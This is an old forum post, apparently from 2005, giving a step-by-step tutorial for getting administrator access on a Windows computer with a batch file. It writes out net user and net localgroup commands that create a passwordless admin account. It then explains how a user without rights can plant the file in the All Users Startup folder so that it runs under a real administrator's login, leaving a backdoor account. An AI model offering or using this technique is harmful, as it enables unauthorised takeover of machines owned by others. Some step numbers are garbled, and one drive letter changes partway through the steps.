PDA

View Full Version : Getting Administrator Access on a Computer- using a batch file!



carlo
11-03-2005, 01:08 PM
This is a * part Tutorial for Creating your own Administrator account
on a computer using a batch file.

// when you see "//" it means i am typing a comment

//This will not work on all computers, and requires administrator
access to run the batch properly

-----------------------------------------------------------------------------------------
Part A

*. Open Notepad

2. paste the following into notepad (no quotes)
"@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin"

*. Save the file as whatever.bat

// it can have whatever filename you want
// but must contain the .bat file extension

4. Save the batch file to a floppy disk

------------------------------------------------------------------------------------------
Part B

// This is for if you have administrator access to the computer

*. Just run the batch file by double clicking

------------------------------------------------------------------------------------------

Part C

// This is for if you do not have access to administrator


*. put floppy in computer

2. Right click on the batch file click copy

*. go to C:\Documents and Settings\

// now you should see some folders with users names
// look for an admin folder or an all users folder

4. open the folder, should be something like C:\Documents and Settings\All Users\

// look for a startup menu folder

5. open the folder, should be someething like this C:\Documents and Settings\All Users\Start

Menu\

// now look for either program files, programs, or startup

6. open the folder, should be something like this D:\Documents and Settings\All Users\Start

Menu\Programs\, or D:\Documents and Settings\All Users\Start Menu\Programs\Startup

// if its like the second choice skip to step 8
// now look for a start menu folder

7. open the folder, should look like this D:\Documents and Settings\All Users\Start

Menu\Programs\Startup

8. Now Paste the Batch file into the Start Menu

// Done! Now wait about a week (or however long u think it will take
for the admin to log on and come back, try logging in as the new admin
account, if it works great, you have yourself an admin account on that
computer